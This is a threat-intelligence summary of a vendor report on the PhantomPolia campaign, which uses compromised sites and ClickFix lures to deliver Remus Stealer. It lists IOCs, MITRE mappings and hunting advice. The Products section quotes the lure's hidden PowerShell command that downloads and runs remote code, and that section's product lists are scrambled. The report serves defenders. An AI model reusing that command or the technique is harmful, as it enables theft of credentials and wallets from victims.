PhantomPolia Campaign Uses ClickFix and Donut Shellcode to Deliver Remus Stealer

· Original article ↗

Summary

LevelBlue details a campaign that uses compromised sites, a blockchain-based loader and ClickFix lures to deliver Remus Stealer, which collects credentials, browser and wallet data, and system information.

Key points

  • LevelBlue observed multiple ClickFix lure sites since early September 2026, linked to compromised websites embedding the PhantomPolia JavaScript loader.
  • PhantomPolia retrieves encrypted configuration from Ethereum Sepolia smart contracts via public RPC endpoints, decrypts it, and uses the resulting domain to load the next-stage script.
  • The ClickFix lure prompts victims to run a hidden PowerShell command, which retrieves and decrypts additional stages before downloading an installer bundled with AutoIt.
  • The AutoIt script decrypts Donut-packed shellcode and executes it from dynamically allocated memory, ultimately loading Remus Stealer.
  • Remus Stealer targets credentials, browser data, password managers, cryptocurrency wallets, and system information, and can capture the desktop.
  • The malware compresses collected data with a custom LZ77 method, encrypts it with ChaCha20, and sends it to attacker-controlled infrastructure.
  • The article includes campaign indicators and Suricata and EDR hunting rules covering the loader, ClickFix activity, PowerShell, AutoIt, and Remus communications.

Article Details

Attack Vectors
  • Compromised websites embed the PhantomPolia JavaScript loader, which retrieves encrypted configuration from Ethereum Sepolia and resolves the next-stage domain.
  • A ClickFix lure prompts victims to run a hidden PowerShell command that downloads and decrypts further stages.
  • The delivery chain downloads an installer bundled with AutoIt3.exe and an AutoIt script; the script decrypts and executes Donut-packed shellcode in memory, loading Remus Stealer.
  • Remus Stealer collects system, browser, credential, password-manager, wallet, and screen-capture data, then encrypts and sends it to attacker-controlled infrastructure.
Defensive Notes
  • Hunt for hidden PowerShell execution using execution-policy bypass, Invoke-Expression, and Invoke-WebRequest, including requests for /check/update.ps1.
  • Monitor unexpected connections to the Sepolia RPC endpoints and requests matching the article’s PhantomPolia staging and visitor-registration paths.
  • Detect AutoIt3.exe launched with randomized Setup_, AutoStart_, or Config_ .au3 scripts, and investigate executable-memory allocation followed by thread execution.
  • Monitor Remus-style HTTP POST registration, token-assignment, and multipart data-upload traffic, as well as unexpected outbound traffic to the listed C2 domains.

Indicators of compromise

TypeIndicatorContext
DOMAINcruahop[.]shopDomain listed as Remus Stealer C2 infrastructure.
DOMAINdrepace[.]clickDomain listed as Remus Stealer C2 infrastructure.
DOMAINironphantomcore[.]topDomain identified as a PhantomPolia C2 domain.
DOMAINnightflamevortex[.]topDomain identified as a PhantomPolia C2 domain.
DOMAINoceanvw[.]clickDomain listed with Remus Stealer C2 indicators.
DOMAINshadowemberstrike[.]topDomain identified as a PhantomPolia C2 domain.
DOMAINspogear[.]clickRemus Stealer C2 domain; the article reports the malware communicating with it on port 3546.
DOMAINstormvenomforge[.]topDomain identified as a PhantomPolia C2 domain.
DOMAINvelnoderic[.]comDomain decrypted from PhantomPolia configuration and used to construct the next-stage payload URL.
DOMAINvoderlence[.]comDomain identified as a PhantomPolia C2 domain.
DOMAINvoidravenstorm[.]topDomain identified as a PhantomPolia C2 domain.
SHA25605629f35dfe1409ea963c135581c228e3b71869b0707974244f6938af635a70eHash listed as a campaign artifact in the IOC appendix.
SHA25622b0fc350b5e5c557344267b3c44323ac117d3fbeb5cf1bcb8b027352155fa11Hash listed as a campaign artifact in the IOC appendix.
SHA2565363bc92bac44aa2ba87b46c59fd3f78d5cdd32839efa854e97380a55fdacabbHash listed for the Donut shellcode artifact.
SHA25661def8b242913b520ec110458a416b02a6a38dc8765bc76bd571ee7ae8350aaeHash listed as a campaign artifact in the IOC appendix.
SHA2568f4903b8b110ec1b9580a5a27bf49c3e4793538a863100559d085b7545fcda25Hash listed as a campaign artifact in the IOC appendix.
SHA256a0923188fbd52277e1711ae312f3c6fb841f3cdebe1a95d5c89fe2455f8ace32Hash listed as a campaign artifact in the IOC appendix.
SHA256a38e6f54efe342b4a2ca9ac4428a5268faed96cd602baa1886efb09f72435abbHash listed as a campaign artifact in the IOC appendix.
SHA256dc0a864f441f0237853b40217eda577defb7c1dd15af407c7241688b1b3a3b46Hash listed for the Remus Stealer artifact.
SHA256f02e2fefd74c7268e3aced61017173fff92e2a1d0e7eaf7807189f371fbfcc1fHash listed as a campaign artifact in the IOC appendix.
URLhxxps[:]//cloudcheckic[.]com/3956c8bdebb48342cb2e265b6be19ae4?id=11a879d4599de275ab48f899bb6c507cb80559204178c1854de131c5cc7af65f&nonce=eb82ad83d725e7f703d0bdc7b2927f8d&ts=1789650643328Observed attacker-server URL used to retrieve key material for decrypting the next stage.
URLhxxps[:]//cloudcheckic[.]com/a698891e68d71ead7b51649ec27a1384?id=cf1d026f09e207c1ea44e5e0cb272ee272ab8f96507959dd0b20e0542c666f0f&nonce=c5999babb6d361afb4a799f3fb9f4f00&ts=1789650568000Observed attacker-server URL used to retrieve the next PowerShell stage.
URLhxxps[:]//cloudcheckic[.]com/f654a79f56219371b242f551552191a7Payload-download URL used by the decrypted PowerShell stage.

MITRE ATT&CK

T1005 · Data from Local SystemRemus Stealer collects host information, credentials, browser data, wallet data, and other local artifacts.T1027 · Obfuscated Files or InformationThe chain uses encrypted configurations and payloads, an indexed JavaScript string table, and Donut-packed shellcode.T1041 · Exfiltration Over C2 ChannelRemus Stealer uploads encrypted collected data through its C2 communication sequence.T1059.001 · PowerShellThe ClickFix lure instructs victims to execute a PowerShell command that retrieves and runs remote content.T1059.007 · JavaScriptPhantomPolia uses embedded JavaScript to retrieve and decrypt configuration and load the next-stage script.T1059.010 · AutoHotKey & AutoITAn AutoIt script decrypts the embedded shellcode and launches it from the AutoIt process.T1071.001 · Web ProtocolsThe stages use HTTP or HTTPS requests for configuration retrieval, payload delivery, beaconing, and exfiltration.T1082 · System Information DiscoveryWMI queries collect operating-system and video-controller information.T1083 · File and Directory DiscoveryRemus Stealer targets files in application, wallet, and credential-storage paths.T1102.001 · Dead Drop ResolverPhantomPolia retrieves encrypted configuration from a Sepolia smart contract used as a dead-drop resolver.T1105 · Ingress Tool TransferThe campaign downloads PowerShell stages and a bundled installer before executing the final payload.T1113 · Screen CaptureThe malware captures the virtual desktop using GDI and adds the resulting image to its collection.T1140 · Deobfuscate/Decode Files or InformationThe loader and subsequent stages decrypt configuration, PowerShell content, and the AutoIt-embedded shellcode.T1189 · Drive-by CompromiseThe loader was embedded in compromised websites visited by victims.T1204.004 · Malicious Copy and PasteThe ClickFix lure tricks victims into pasting or running a provided PowerShell command.T1518.001 · Security Software DiscoveryThe malware queries the AntiVirusProduct WMI class and records antivirus product information.T1555.003 · Credentials from Web BrowsersRemus Stealer targets credentials and other data from browser profiles.T1560.003 · Archive via Custom MethodThe malware compresses collected data using a custom LZ77 method.T1564.003 · Hidden WindowThe ClickFix command runs PowerShell with the hidden-window option.T1571 · Non-Standard PortRemus Stealer communicates with spogear[.]click on port 3546.T1573 · Encrypted ChannelThe campaign encrypts configuration and staged content, and Remus encrypts collected data before transmission.T1620 · Reflective Code LoadingThe AutoIt script allocates executable memory, copies decrypted shellcode into it, and starts a thread at that memory address.

Malware

Products

1Password1Password, 3D-FTP, AnyClient, AnyDesk, Authy Desktop, Auto FTP Manager, Azure, Bitwarden, Codex, Cursor, Em Client, FileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud,ArmoryBelow is the sample decrypted task that targets Armory Bitcoin Wallet data:Authy1Password, 3D-FTP, AnyClient, AnyDesk, Authy Desktop, Auto FTP Manager, Azure, Bitwarden, Codex, Cursor, Em Client, FileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud,AutoIt3.exeThe downloaded installer is pre-bundled with AutoIt3.exe, which drops and loads an .au3 script from the same folder location.Bitwarden1Password, 3D-FTP, AnyClient, AnyDesk, Authy Desktop, Auto FTP Manager, Azure, Bitwarden, Codex, Cursor, Em Client, FileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud,ExodusArmory, Atomic, Binance, Bitcoin Core, Coinomi, Daedalus, DashCore, ElectronCash, Electrum, Electrum-LTC, Ethereum, Exodus, Gleec, Guarda, JAXX New Version, Ledger Live, Neon, Ripple, Sparrow, WasabiGoogle ChromeWinHttpOpen going to spogear[.]click:3546 with User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36KeePassFileZilla, FTP Commander Deluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud, KeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes,LastPassPassword Manager, F-Secure Password Manager, GateKeeper, heylogin, IronVest, JumpCloud, Kee, Keeper, LastPass, MindYourPass, MultiPassword, MYKI Password Manager & Authenticator, Netwrix Password Secure, NortonLedger LiveArmory, Atomic, Binance, Bitcoin Core, Coinomi, Daedalus, DashCore, ElectronCash, Electrum, Electrum-LTC, Ethereum, Exodus, Gleec, Guarda, JAXX New Version, Ledger Live, Neon, Ripple, Sparrow, WasabiMicrosoft WindowspowerShell.exe -w h -ep bypass -c "iex((iwr '{domain}/check/update.ps1'-UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"Mozilla FirefoxFloorp Browser, Mozilla Firefox, Thunderbird, Waterfox, Zen BrowserNordVPNDeluxe, FTP Manager Lite, FTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud, KeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes, Telegram, Telegram UWP,OpenVPNFTPbox, FTPGetter, FTPInfo, FTPRush, Google Cloud, KeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes, Telegram, Telegram UWP, TotalCommander, UltraVNCTelegramKeePass, NordPass, NordVPN, Notezilla, OpenCode, OpenVPN, ProtonVPN, Riot Games, SmartFTP, Sticky Notes, Telegram, Telegram UWP, TotalCommander, UltraVNC

Tools

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